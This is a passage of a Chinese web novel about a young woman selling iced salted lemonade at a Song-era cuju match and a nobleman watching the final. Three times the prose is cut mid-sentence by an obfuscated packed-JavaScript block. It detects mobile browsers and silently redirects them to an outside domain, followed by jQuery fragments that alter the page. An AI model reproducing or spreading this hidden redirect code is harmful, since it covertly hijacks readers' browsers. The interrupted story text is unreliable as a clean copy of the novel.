但人在剧烈运动之后,只想喝水,很难快速吃下东西。
于是,这些蹴鞠员只好下场,让替补队员顶上。
作为现代人,江清澜不看足球赛也知道,这是缺少电解质了。
剧烈运动后,人体不止丧失水分,还流失了大量的钙、钾等微量元素。
这样,便会精神不振、体力不支。
喝电解质水,就能解决这个问题。最简单的,就是加了盐的柠檬水。
柠檬富含维生素C,盐中有钾,能补充快速流失的水分、矿物质。
江清澜想起生意,就神游天外、眼冒精光。
忽的,一颗毛茸茸的脑袋凑上来:“阿姐,我怎么觉得,有点煳味儿?”
“哎哟!”江清澜回过神来,一跺脚,赶紧搁下毛笔,往厨房那边跑,“锅里炖着羊肉汤呢!”
她们现在是阔起来了。
如今的油卤串串里添了肉食——牛肉串串、五花肉串串、鸡翅、鸭胗。利润也更高,每晚的净利能有七八钱银子。
加上“中彩票”剩下的三十八两、之前赚的三四两,抛开这些日子的花销,也还有三十多两的积蓄。
故而,她们顿顿能吃上肉。今天晚上的,就是白萝卜羊肉汤。
两姐妹赶紧把柴块抽出来、踩熄,掀开锅盖一看,哪里还有汤,白萝卜都烧得黢黑了。
羊肉倒经烧,一块块、一坨坨,还有点儿肉样儿。
团团瘪嘴:“肉啊,可惜了。”
江清澜咬牙:“没事,我们还可以做羊肉串!”
羊汤直接变烧烤。
江清澜把大块羊肉切小,将肉瘦肥间杂地穿在竹签子上,在小炭火上不停翻转。
很快,羊肉串烤得滋滋响,又冒油来又冒烟。
江清澜适时地撒上一把孜然、茱萸粉,让每一块肉均匀地蘸满。
团团拿起一串,鼻子凑上去,深深地吸口气:“啊——好香啊——”
整一串,再饮一口新调配的柠檬水,酸甜可口。团团已不用吩咐,早化身了饕餮……
——
谢临川纵马跑得快。
到了财赋司时,司里已散了值,杨松正在锁门。
“杨郎君,且慢,”谢临川手里还握着乌油油的马鞭,猛的一指,“我还有个事儿。”
杨松这人胆子小,让那鞭子一指,吓得一哆嗦。
这言郎君半下午就跑出去了,他还以为他不回来了,谁知竟拿着马鞭回来。“言郎君……何……何事?”
谢临川侧身,与杨松擦肩而过后,一脚踹开大门,风一样的跑到墙角柜子处,乱翻一气。
杨松一个人在原地惴惴不安:
前几日,在中瓦江娘子的摊子前,他亲耳听到言郎君把那位女娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626226|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫“阿妹”,当场吓蒙了。
因他知道,那女娘不是别人,正是官家的嫡亲女儿,公主殿下。
那年宫里举行蹴鞠赛,他作为府署小吏,在外场配合禁军执法。不成想,迎面走来两个劲装女子。
一开始,她俩有说有笑的。可不知为甚,两个人很快拌起嘴来,最后竟然扭打在一起,一个把另一个头发抓掉一大把。
两名女娘都是拼了命的,身后的丫鬟拉也拉不住,还是他跑上去,把人给分开了。
这是一件小事,他转头就忘了,哪里知道,后来听府署里传流言,竟说是宝庆公主与福安公主打架,惹得官家生了好大的气。那……那不就是,他那天拉架的那两个女娘?杨松惊呆了。
只是,他分不清谁是宝庆公主,谁是福安公主。
那天晚上,言郎君又说公主是他阿妹,那他就是……就是……杨松的冷汗又要下来了。
正战战兢兢着,谢临川出来了,把一张纸拍在他胸口上:“杨郎君,明日、后日我想告两天假。这是假条,你看是否可行?”
临安府署的点卯制度颇为严格。
除了父丧、母丧,以及圣寿节、圣诞节[1]、元宵节等法定假日外,不可无故告假。
朝廷有专门的稽查队,隔三差五就来查缺卯人员,弄得基层官员们人心惶惶。
但那是理论上。规则是死的,人是活的,实际上怎样,还不是看人下菜。
“自然可行!”杨松点头哈腰,喏喏称是。
莫说是言郎君,这几天府署里告假的人很多,便是为了明后日火焰队、齐云社的决赛。
这可是民间蹴鞠赛里,最精彩的一场,获胜的队伍才可在皇宫里,与禁军蹴鞠队对决。
杨松擦擦额头上的汗,装模作样往假条上瞟了几眼。这一瞟,还真看出了不对:
“言……言郎君,假条上缺个事由,不若就写……病假?”
谢临川龙精虎猛、人高马大,浑身有使不完的牛劲儿。
他若是病了,天下就没有健康的人了。
闻言,他哈哈一笑,露出雪白的牙齿:“好,就病假。”
说罢,他脸上挂着笑,风一样地走了。
到了门口,他又想起什么,扯下腰间的东西,远远地扔了过去,朗声道:“这个,送给你玩儿。”
杨松赶紧张开手去接,一股冰凉的触感。
张开手一看,他眼睛都直了:和田玉佩,价值百……百金!
15. 冰爽柠檬水(二)
次日,早早吃了午饭,匆匆洗了碗,江清澜、团团就把东西收拾好,搬到了院门边。只等车夫上门。
蹴鞠赛共比三场,每天下午申时举行。从今天开始,连赛三天,第三天正好是休沐日。
江米巷到西山蹴鞠场,路程颇远,且这次,江清澜卖的是饮子。
陶盅、罐子、冰块等物料,非常重。
还有些纸幅、浆糊之类的,林林总总的,收拾出了几大筐。
靠脚力是走不去了,她昨日便在马车行租了车。与车夫说好了,午后上门。
刚到未时,车夫就上门了,是个二十来岁的年轻汉子,唤作陈四儿。
此人嘴巴很甜,见她们都把东西搬出来了,就笑道:
“哟,二位娘子辛苦了。明日就放院子里好了,我来搬。”
江清澜道:“既如此,明日给你加十文钱。”
陈四儿做老了生意的,这样说就是嘴上客气。哪知,这女娘如此大方,竟直接加了钱。
他高兴得什么似的,一连说了三个好字,三两下,就把东西搬上了车。
坐了半个时辰的马车,到了西山蹴鞠场,陈四儿把东西搬到摊子上便走了。
江清澜两姐妹开始布置摊位。
先把陶盅一个个摆好,这里面装的是兑好了的柠檬水,只没有加冰。到客人买时现加,冰化得慢,爽劲儿才十足。
这样一盅,卖五文钱。
再摆些小瓷杯子,这是给顾客试喝的样品,每个杯子上,还挂了一片小小的柠檬。
纯净的黄,配上加了冰渣的汁水,光是一看,都舒爽沁人心脾。
再把她早前写的广告纸幅拿出来。刷了浆糊,贴在摊子两侧的柱子上,以及顶部的檐下。
如此,柠檬饮子摊,就初具规模了。
她们摊子旁边,是个卖西瓜子儿的老叟,并一个中年汉子。他家瓜子是祖传的秘方,最是香浓。
他们卖了十几年,有口碑了,才能在蹴鞠场里,与主办方的瓜子儿一争高下。
老叟最喜欢闲聊,他不认字儿,见她摊子上花花绿绿的,好奇道:“小娘子,你这写的是啥?”
江清澜端了两杯过去,与他父子二人:
“阿翁,郎君,我摊子上写的是‘好喝’。不信你们尝尝,不要钱。”
她给老叟的那杯无冰,给中年汉子的却加了冰。
老叟一喝,捂住了脸:“哎哟,牙酸。”但他也不得不承认,酸中回甜,确实好喝。
中年汉子不像他爹热情,沉默寡言,喝了后面无表情,但立即花了五文钱,买了一盅。
他不买才怪!
江清澜早看准了,这人才把一干物什拉过来,累得气喘吁吁、热得满头大汗。这一杯加冰的酸甜柠檬水下去,暑气都消了。
第一单生意就这样成了。
江清澜又与他解释:“郎君,我这饮子还有些特别的效力。劳动后体乏,多饮用一些,可快速恢复精力。”
中年汉子点点头,也不搭话,又出蹴鞠场拉货去了。
江清澜便知,他这人套不出话来。
时间还早,蹴鞠场里客人不算多,她也花了两文钱,买了些西瓜子儿,与那老叟闲磕牙。
老年人寂寞呀,话多得很,当下拉拉杂杂的,把这蹴鞠场的事儿说了个遍。
什么哪一年修的、背后的金主是谁、齐云社球头是谁,颠三倒四地摆谈。
江清澜把话题拉回来:
“阿翁卖瓜子儿这么多年了,没想过与主办方供货?这样,也免得出来摆摊晒太阳了。”
“他们?”老叟嗤笑,“跟他们供货,价压得低,吃得你骨头都不剩。我自己卖,卖多卖少都是自己的。”
江清澜便知,做供应商这一条路是走不通了。
老叟道:“话说回来,咱们能卖几个钱?不过糊口罢了。”
他一指蹴鞠场西边那些雕梁画栋:“若是像丰乐楼一般,把饮食卖给那里边儿的人,那才赚钱。”
除开皇家蹴鞠场,西山蹴鞠场就是临安最豪奢的运动场。老叟所指的西边,修了不少高楼。
最有名者为风云楼,其中遍设豪奢包厢,便是为着王侯公子观看比赛的。
太阳光有些刺眼,江清澜看向风云楼,不免眯起了眼睛……
——
风云楼,三楼绿茵阁,谢临川推门而入。
阁内,肉香酒香弥漫,莺莺燕燕笑闹。见他来了,众女都停了手中杯盏。
朱明一左一右搂着两个妓.女,有了些醉意,笑道:“流光[1]快来,好的都给你留着呢。”
陈跃身侧也有妓.女陪坐:“流光,自你去了临安府署,咱们哥儿几个好久没聚了。”
朱明之父,乃从二品金吾卫上将军朱从达,朱明如今在大理寺挂了个闲职。
陈跃乃正三品翰林学士承旨刘清之子,今年春天方中举,还未授官。
临安城中,高官子弟间从不缺酒肉朋友。
这二人与谢临川一般,都酷爱蹴鞠,天长日久,三个人就混在一起了。
“我这不是来了。”谢临川把马鞭丢在桌上,一屁.股倒在圈椅里,端起酒盏,仰头就是一口。
饮罢,他对陈跃笑道:
“等你做了官,便知点卯他娘的有多烦人了。”
“省的、省的,”朱明深有体会,嘻嘻一笑,“来看蹴鞠,别提那些烦心的事儿。”
说罢,一把拍在左边那美貌妓.女的肩膀上。
“去。”
妓.女会意,起身为谢临川倒酒:“奴来伺候世子爷。”面含粉霞,身子柔若无骨,便要倒在他怀里。
谢临川皱眉,以脚发力,身子连着椅子往旁边一挪:
“你没长骨头吗?”
妓女倒了个空,腰正好戳在圈椅的木柄上,疼得龇牙咧嘴。听他不悦,忙扑通跪下,浑身瑟瑟发抖。
“哎哟,”朱明打圆场,“知你谢流光爱干净。敏敏可是个清倌儿,我花了大价钱的。”
陈跃道:“你道谁都跟你一样,就好那点子事儿。流光的家教严得很。”
“乖乖,不怕,”朱明向敏敏招手,“谢世子与你闹着玩儿呢。”敏敏擦擦泪,爬起来,又倒在朱明怀里。
谢临川没心思关心这些。女人——无论是宝庆公主,还是这些莺莺燕燕,在他心里,就等于一个“烦”字。
当下别过头,去看场上。
比赛开始不过一刻钟,已见了端倪。
火焰队技如其名,擅长猛攻猛打,尤其球头李正,是出了名的神射手。捅.射、垫.射、抽.射、推.射无一不精。
但见场中一着红衣者,戴银色面具,左奔右突,速度极快。只可惜,他始终被三名蓝衣人围着,无法控球。
陈跃喃喃道:“齐云社竟用三个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631571|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人来防李正。”
时下的蹴鞠场不如现代的大,各方队员都是六人,且没有守门员。齐云社用了三个人防李正,剩下的便只有三人了。
朱明吞下娇娇递上来的葡萄,还在她手上亲了一口,舍不得把色.眯.眯的眼睛从她胸.脯上移开:
“不用三个人防怎么办?让李正射门,一场能进八个球。”
但齐云社也有优势,便是力量均衡。反观火焰队,李正风头太胜,其他队员就逊色了。
一旦李正被防住,火焰队的实力就大打折扣。
娇娇捂嘴笑,娇滴滴地道:
“哪个队要赢啊?郎君们说呀说的,也不漏个口风。那关朴,奴家都不知买什么了。”
陈跃摇头:“不好说,齐云社着实防得滴水不漏。”看着场上的风起云涌,忽的皱眉,看向谢临川,“这竟是……”
谢临川紧盯场上局势,许久未开口,此时才道:“无锋阵型。”
闻言,连朱明也推开娇娇、敏敏,站起来看。
“齐云社竟秘密训练了这种失传的阵型,怕是专为防李正的吧。”
蹴鞠队员的设置中,依进攻到防守的顺序,一般分为前锋、中场和后卫。
无锋阵型中却没有前锋,相当于减少了进攻,为着将更多力量用于防守。
齐云社用这种阵型有个好处,那便是拖。拖到火焰队的主力李正精疲力竭,他们再改换其他阵型,冲刺进攻。
朱明看明白了,当下一拍大腿,把两锭银子丢在娇娇的酥.胸上:
“我赌齐云社赢。这一百两,你去帮我买关朴!”
“奴家遵命!”娇娇笑得合不拢嘴,忙去门边唤过小丫鬟,自己又添了十两银子,低声道,“买齐云社赢。”
又踢了许久,双方一个猛攻猛打,一个防守滴水不漏,竟还是零比零。锣声响起,上半场结束,双方队员要休息一刻钟。
这时候,陈跃笑道:
“正则[2],话别说那么早。齐云社这种打法,倒是防住了李正,但要耗费更多人的体能。也许没把李正拖下场,他们自己先累趴下了。”
这个时代,运动医学不发达,比赛中别说累趴下,跑得猝死的都有。
朱明:“这……”又看向谢临川,“流光,你倒是说句话呀。”
谢临川平日最是嬉笑怒骂,此时倒是严肃。闻言,他道:“便是赢了关朴,能得几个钱,你还在乎这个?”
朱明:“不为钱,就为个乐子。”
谢临川:“既是乐子,依自己的判断赢了,岂不是更乐?”说罢,出了绿茵阁,下楼去了。
朱明一脸无辜,看向陈跃:“他……他吃了火药了?”
陈跃看向敏敏,哈哈大笑,幸灾乐祸:“谁让你给他点妓.女的。”
朱明:“……”
时近六月,天气已热,包厢里脂粉味浓重,闻得人气闷。
谢临川下了楼,外面虽也热烘烘的,但好歹有些风。
他绕着场地走了一圈,从各个角度观察了一下双方的阵型变化。
走到东北角时,闻得一道女声,清朗如珠落玉盘、风吹檐铃:
“除开戴银色面具人那里,齐云社剩下的三个人,要对决火焰队的五个人。这多累啊。若是此时,火焰队换个厉害的上来,岂不是必胜?”
谢临川心中一震。
因她所说,正是他所想。
16. 冰爽柠檬水(三)
女娘这话若叫陈跃、朱明听见,只会被嘲笑外行。
因为蹴鞠赛中,参赛队员的名字会被提前公布。
有专门的情报员们去收集对手的资料,以布局应对。
蹴鞠比赛进行了这么多年,厉害的球员来来回回就那些。
隐藏多年,继而一鸣惊人的奇兵也不是没有,但极少。
火焰队如果有厉害的奇兵,直接与李正联手,一场就定了胜负。没必要等到后面。
上面说的是常理,但谢临川总觉得不对劲。李正是明晃晃的靶子,齐云社一定会派多人来防,火焰队不可能没有准备。
一边想着,转了角,迎面一横两竖三幅大字撞入眼帘:
冰爽柠檬水。
补充强劲活力,射门充满能量。
恰此时,一股风吹来,拂过面颊时竟然真的有丝丝冰凉之气。
那个眼睛清亮的女娘,正弯着腰,笑盈盈地与小女娘说话。
竟是江娘子?
谢临川愕然。反应过来后,冷哼了一声。
不是说受了伤,不能弯腰吗?这不是弯得好好的?!
又想起她关于蹴鞠的那番话,只觉好奇。
这一好奇,就仔细地打量了她一番。
两个女娘皆着茶白窄袖短衫、浅绿百迭裙,头上簪着浅绿的绒花。
这一身打扮说不上华贵,却颇清丽。且一大一小两人,均着一样的服饰,让人眼前一新。
再看她那摊子,一大桶冰放在前面,散发着幽幽凉气——无怪乎,方才他觉得风中有凉意。
除了那句广告语,摊子各处还贴了些大字:
好喝!好喝!好喝!爽!爽!爽!
谢临川莞尔一笑。
江娘子这个人很聪明。为了赚钱,很舍得花心思。
——等等,方才她观察得那样仔细,难道是想在蹴鞠队身上赚钱?
……
江清澜看见谢临川,眼睛一亮,殷勤地打招呼:“郎君,要尝尝柠檬水吗?”
她没忘了那五十两,这帅哥不仅帅,还是位财神爷。
谢临川正在沉思,闻言走到摊前。
他着竹月蓝襕衫,金簪束发,端的是金相玉质、贵气逼人。
方才摊边儿没几个人,此时见他这位贵人去询问了,也三三两两地往上围。
谢临川对周围的人视若无睹,没提方才听墙角的事儿,只瞧着柠檬水新奇,问:
“这饮子跟射.门有什么关系?”
江清澜也不跟他提什么钾、钙、功能饮料,只说:
“比赛到后期,人的精气神耗尽,妾这柠檬水便是补精养气的,可令人快速恢复体力。如此,射.门就更有力了。”
若是旁人,谢临川定要笑话他弄虚唬人。
但他见过了冰糖樱桃、油卤串串,当下便有些好奇,拿起一杯,啜了一口。
入口是凉,冰没有化尽,密匝匝的有些扎舌头。继而是酸,柠檬的酸中带着清爽,配合着冰,沁人心脾,使得暑气全消。
再来是甜与咸,淡淡的、浅浅的,回味十足。
到了此时,冰渣化尽了,凉意仍在唇齿间。
果然当得起“冰爽”二字!
谢临川知道,禁军蹴鞠比赛时,太医也会配一些饮子。但那都是中药,绝对不好喝。
江清澜见他神色,又道:“郎君前夜买樱桃,预付了五十两银子。柠檬水随意取用就是。”
谢临川早忘了这事儿了,闻言,深深看了她一眼,粲然一笑:“你倒是会做生意。”
要了两盅柠檬水,一盅加冰,一盅不加,转身就要走。
“郎君,且慢。”江清澜追出来,“郎君是妾的贵客,敢问怎么称呼?”
“我姓……”谢临川脱口欲出,又顿住了。
他想起平林说,她不愿入王府。又想起府署那个杨松,一见到他,就瑟瑟发抖。
世上有些人,是这般小家子习气的,见到大人物,舌头就捋不直。
想到江娘子也变成那样,他顿觉扫兴,当下改了口:“我姓言。”
江清澜叉手作礼:“言郎君,妾的摊子就在中瓦那边,欢迎郎君随时来。”
谢临川点点头,提着水盅走了。
回到绿茵阁,下半场比赛刚刚开始。
火焰队的李正被包抄,无法施展拳脚,到比赛快结束时,倒让齐云社进了一颗球。
局势立变,齐云社的关朴价大涨。
……
谢临川三人离开风云楼。
都上了马了,谢临川想起一事儿,又登登登跑上楼,拎着个水盅下来。
朱明的关朴胜率变大,有些得意忘形。看那陶盅粗劣,他就笑道:
“流光,你拎着什么宝贝?咱们去丰乐楼吃酒,还怕没有好饮子吗?”
谢临川不搭话,微微一笑,一鞭子抽在朱明的马屁.股上。
马儿嘶的一声往前猛冲。
朱明没有坐稳。在马上前仰后合、吱哇乱叫。
谢临川朗声大笑,早催马跑远了。
——
赛事结束,江清澜收了摊,让车夫陈四儿来拉了东西回江米巷后,开始盘账。
柠檬水每盅五文钱,卖了几十盅。
刨去柠檬与糖盐的成本、冰费、车马费、笔墨纸的钱,剩下的有……
团团掰着手指头数来数去,惊道:
“不对呀,咱们今天辛苦一整天,才赚了二钱银子?”
前些日子,在中瓦卖油卤串串,每日的纯利有七八钱银子。今天走这么远的路、搬这么重的货,才赚了二钱。
团团想不通。
江清澜早有谋算,成竹在胸:“你且看着吧,大生意在后头呢。”
她最精准的目标人群是蹴鞠员,来买的有几个,但不多。这可以理解——大赛当前,对饮食,他们当然要小心。吃坏了肚子,可就糟了。
今天,她已经把招牌打出去了。
有几个蹴鞠员尝过。有一个姓高的郎君,还很感兴趣,在她摊子前拉拉杂杂地问了半天。
他一定会再来的。
果然,第二日,她们刚出了摊儿,三个蓝衣劲装青年拥了上来。
高郎君昨天来过了,熟门熟路,指着摊子上的瓶瓶罐罐道:
“就是这个,柠檬水,好喝,还得劲儿!”
另一人道:“真的?”
端起小杯子喝了一口,眼睛蓦的睁大了。
高郎君露出得意之色:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634496|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看吧,我没骗你吧。”
怪的是,他走的时候,还恋恋不舍地多看了江清澜两眼。
……
风云楼,绿茵阁。
“冰爽柠檬水”几个字着实是大,谢临川在三楼上都看得见。
昨日,他带了一盅回去。祖母赞好喝,忍着牙酸,硬把一盅喝光了,今天早上,就请了大夫看牙。
祖母真是……
谢临川摇摇头,也不知该笑还是该忧,打定主意今天不买了。
一阵锣响,蹴鞠比赛开始了。
双方仍然是昨天的打法,猛攻对严防,上半场零比零结束。
下半场赛事,行进到中途,谢临川深思许久,忽问:
“李正左边第二远那人是谁?”
他观察这人很久了,脚步稳健、姿势利落,却从没有去主动控球,像是在隐藏什么。
朱明、陈跃皆不认识:“是个替补吧?”
谢临川沉默不语。
那人正在中场,得了球。李正在其右边,为齐云社三人包围。
忽的,李正一个假动作,让左前方露出了空隙。
机会来了,正该替补传球!李正侧路冲锋!
千钧一发之际,但见替补面朝右边李正的方向,眼神专注,飞起一脚。砰——
球竟然被踢向了左边!
在空中划过漫长的弧线,正正进入了风流眼!
全场寂静。
接着,响起了排山倒海的欢呼声:“火焰队——火焰队——火焰队——”
朱明一把推开妓子,腾地站起来,蒙蒙然不知所以:“哎,这……这是怎么回事儿?”
“他眼睛看着右边的李正,却把球踢进了左边的风流眼?”陈跃喃喃道,也惊呆了。
谢临川抱臂,勾起嘴角一笑:“此人乃火焰队的奇兵。李正都为他打了掩护。”
朱明忙唤了小厮上来:“快去查查,这人是谁。”
——
今日比赛,火焰队二比零,战胜齐云社。
这场蹴鞠赛采用计分制。
昨日齐云社进一球,今日火焰队两球。明日,火焰队只要再进一球,便胜了。而齐云社,要进三球才能胜。若是双方战平,亦是火焰队胜。
因为局势翻转,蹴鞠场外的四个关朴处,有人跺脚哈哈大笑,有人捶地哇哇大哭,一个个的,状若疯癫。
江清澜心里本来美滋滋的,听见这些人叽哩哇啦、又哭又笑,心中感慨:赌博害人!
她家原来挺好的,就是她爸染上了赌瘾,家才散了的。
一边想一边收拾。今天柠檬水的销量与昨日差不多,但更多的蹴鞠员来买了,还有几个管事模样的人,来问了些话。
正收了陶盅,装在大木桶里,忽觉有些不对劲。
抬头一看,东北角的关朴处,有个身量很高的青年,着火焰队的红衣劲装,正凝视着自己。
他长相颇为清俊,眉宇间却笼罩着一股郁色。
江清澜不明所以,摸了摸自己的脸上,没沾着什么东西啊。
身下有人在拉自己的裙子,低头一看,团团瞪大眼睛,激动得口齿不清:“阿姐,陆……陆阿兄!”
江清澜心中一紧。
前夫哥。